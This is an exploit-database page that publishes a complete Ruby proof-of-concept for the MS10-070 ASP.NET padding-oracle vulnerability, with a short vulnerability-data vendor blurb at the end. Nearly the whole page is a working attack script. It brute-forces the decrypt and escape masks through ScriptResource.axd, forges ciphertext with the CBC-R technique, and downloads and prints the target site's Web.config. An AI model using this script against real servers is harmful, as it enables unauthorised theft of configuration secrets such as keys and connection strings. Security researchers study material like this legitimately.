Lucene search
K

Microsoft ASP.NET - Auto-Decryptor File Download (MS10-070)

🗓️ 20 Oct 2010 00:00:00Reported by Agustin AzubelType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 540 Views

Microsoft ASP.NET Auto-Decryptor File Downloa

Code
#!/usr/bin/ruby -w

#
#  aspx_ad_chotext_attack.rb
#
#  Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
#  http://www.ampliasecurity.com
#  Agustin Azubel - [email protected]
#
#
#  MS10-070 ASPX proof of concept
#    Decrypt data using an auto decryptor bundled in the aspx framework
#    Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#


require 'net/http'
require 'uri'
require 'rexml/document'


$debugging = false



module XArray
  def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
  end
end

class Array
  include XArray
end




require 'base64'

class XBase64
  def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''

    s = XBase64.encode_base64_padding s
  end

  def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
  end


  def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'

    s = self.decode_base64_padding s

    Base64.decode64 s
  end

  def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
  end
end


module XString
  def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
  end
  alias ^ :xor

  def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
                 (0x20..0x7e).entries

    "[#{length}]" + "\"#{unpack("C*").map { |x|
                      printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
  end

  def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
  end
end

class String
  include XString
end



class ASPXAutoDecryptorChosenCiphertextAttack
  attr_reader :uri
  attr_reader :filename
  attr_reader :min_filelength
  attr_reader :filere
  attr_reader :http
  attr_reader :d_value
  attr_reader :blocksize
  attr_reader :padding_length
  attr_reader :decrypt_command_mask
  attr_reader :axdpath
  attr_reader :axdname
  attr_reader :base_mask
  
  def initialize parameters
    @uri = URI.parse parameters[:uri]
    @filename = parameters[:filename]
    @min_filelength = parameters[:min_filelength]
    @filere = parameters[:filere]
    @http = http_initialize
    @d_value = nil
    @base_mask = rand 0xffff
    @decrypt_command_mask = nil
    @blocksize = nil
    @padding_length = nil
    @axdpath = nil
    @axdname = nil
    
    puts "target: #{@uri}"
    puts "base_mask: 0x%04x" % @base_mask
  end

  def http_initialize
    http = Net::HTTP.new @uri.host, @uri.port
    http.start
    http
  end


  def parse_script_tag xml, re
    d = nil

    doc = REXML::Document.new xml
    doc.elements.each 'script' do |e|
      src_attribute = e.attributes['src']
      md = re.match src_attribute
      d = md[1]
      break
    end

    raise RuntimeError, "could not parse script_tag" unless d

    d
  end  
  private :parse_script_tag
  
  def get_ciphertext_sample
    [ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
    ].each do |name, re|

        headers = { 'User-Agent' => \
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

        response = http.get uri.path, headers
        body = response.body

        script_tags = body.lines.select { |x| x.index name }

        next if script_tags.empty?

        puts "script tags using #{name} [#{script_tags.length}]:"
        puts script_tags.map { |x| "\t#{x}" }

        d = parse_script_tag script_tags[0], re

        puts "using script: #{name}"
        puts "using d_value: #{d}"

        @axdpath = uri.path[0, uri.path.rindex('/')]
        @axdname = name
        @d_value = ("\x00" * 16) + (XBase64.decode d)
        break
    end

    raise RuntimeError, "could not find any axd sample" unless d_value

    d_value
  end

  def parse_html_body h, body
    parsed = String.new
    
    doc = REXML::Document.new body
    doc.elements.each h do |e|
      parsed = e.text
      break
    end
    
    parsed
  end

  def send_request d
    request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
    request['Connection'] = 'Keep-Alive'
    @http.request request
  end
  
  def decrypt d
    ciphertext = d.clone
    ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"

    response = send_request ciphertext

    parse_html_body 'html/head/title', response.body
  end
  
  def discover_decrypt_command
    puts "discovering decrypt command..."

    ciphertext = d_value.clone
    1.upto 0xffff do |mask|
      ciphertext[0, 2] = [ base_mask + mask ].pack "S"
      
      response = send_request ciphertext

      print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \
                                     [ mask,                   response.code,   response.body.length ]

      next unless response.code == "200"

      begin
        puts parse_html_body 'html/head/title', response.body
        @decrypt_command_mask = base_mask + mask
      rescue Exception => e
        puts e
        puts "exception !"
        next
      end

      break
    end
    
    puts
    
    raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask
    puts "decrypted !!!"
    
    decrypt_command_mask
  end



  def discover_blocksize_and_padding_length
    puts "discovering blocksize and padding length..."

    [ 16, 8 ].each do |b|
      0.upto b - 1 do |i|
        ciphertext = @d_value.clone
        ciphertext[-(b * 2) + i] ^= 0x01
        begin
          decrypt ciphertext
        rescue Exception => e
          @blocksize = b
          @padding_length = blocksize - i
          break
        end
      end
      break if blocksize
    end

    raise RuntimeError, "no more combinations to try !" unless blocksize

    puts "discovered padding length: #{padding_length}"
    puts "discovered blocksize: #{blocksize}"
    
    [ blocksize, padding_length]
  end

  def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
    puts "cipher_blocks.count: #{cipher_blocks.count}"

    required_block_count = 1 + new_plaintext_blocks.count + 1
    puts "required_block_count: #{required_block_count}"
    
    if required_block_count < cipher_blocks.count then
      delta = cipher_blocks.count - required_block_count
      puts "removing #{delta} extra blocks..."
      cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
    elsif required_block_count > cipher_blocks.count then
      delta = required_block_count - cipher_blocks.count
      puts "adding #{delta} extra_blocks..."
      cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
    end

    puts "cipher_blocks.count: #{cipher_blocks.count}"

    cipher_blocks
  end
  private :reallocate_cipher_blocks

  def generate_new_plaintext_blocks
    tail_padding = "\x01"
    head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = "\x00" * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding

    new_plaintext.to_blocks blocksize
  end
  private :generate_new_plaintext_blocks

  def encrypt
    puts "encrypting \"#{@filename.hex_inspect}..."

    new_plaintext_blocks = generate_new_plaintext_blocks

    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

    (1..new_plaintext_blocks.count).each do |i|
      puts "round #{i} of #{new_plaintext_blocks.count}"
      
      new_plaintext_block = new_plaintext_blocks[-i]

      old_cleartext = decrypt cipher_blocks.join
      old_plaintext = old_cleartext + (padding_length.chr * padding_length)
      puts "old_plaintext: #{old_plaintext.hex_inspect}"

      old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize

      old_plaintext_block = old_plaintext_blocks[-i]

      normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }
      if normalization_table.include? true
        j = blocksize - (normalization_table.rindex true)
        cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
        puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]
        redo
      end

      cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block

      @padding_length = 1 if i == 1
    end

    cleartext = decrypt cipher_blocks.join
    puts "new cleartext: #{cleartext.hex_inspect}"
    
#    raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3

    @d_value = cipher_blocks.join
  end

  def discover_escape_sequence
    puts "discovering escape sequence..."

    escape_sequence_mask = nil

    offset = base_mask % (blocksize - 4)

    ciphertext = d_value.clone
    0x1ffff.times do |mask|
      ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

      response = send_request ciphertext
      print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \
                                 [   mask,                   response.code,    response.body.length ]

      next unless response.code == "200"
      
      next if min_filelength and (response.body.length < min_filelength)

      next if filere and (not filere =~ response.body)
      
      escape_sequence_mask = base_mask + mask

      puts
      puts "found!"

      unless $debugging
        puts "press any key to show the contents of the file"
        $stdin.gets
      end
      
      puts response.body
      break
    end
    puts

    raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask

    escape_sequence_mask
  end

  def pause
    return if $debugging
    puts
    puts "press any key to start the attack"
    $stdin.gets
  end

  def run
    get_ciphertext_sample
    pause
    discover_decrypt_command
    discover_blocksize_and_padding_length
    encrypt
    discover_escape_sequence
  end
end



puts [ "-------------------------------------------",
       "aspx_ad_chotext_attack.rb",
       "(c) 2010 AmpliaSECURITY",
       "http://www.ampliasecurity.com",
       "Agustin Azubel - [email protected]",
       "-------------------------------------------",
       "\n" ].join "\n"



if ARGV.length != 1 then
  $stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
  exit
end

begin
  parameters = {
    :uri => ARGV.first,
    :filename => "|||~/Web.config",
#    :min_filelength => 3000,
    :filere => /configuration/
  }

  x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
  x.run
rescue Exception => e
  $stderr.puts "Exploit failed: #{e}"
  
  raise if $debugging
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Oct 2010 00:00Current
7.4High risk
Vulners AI Score7.4
540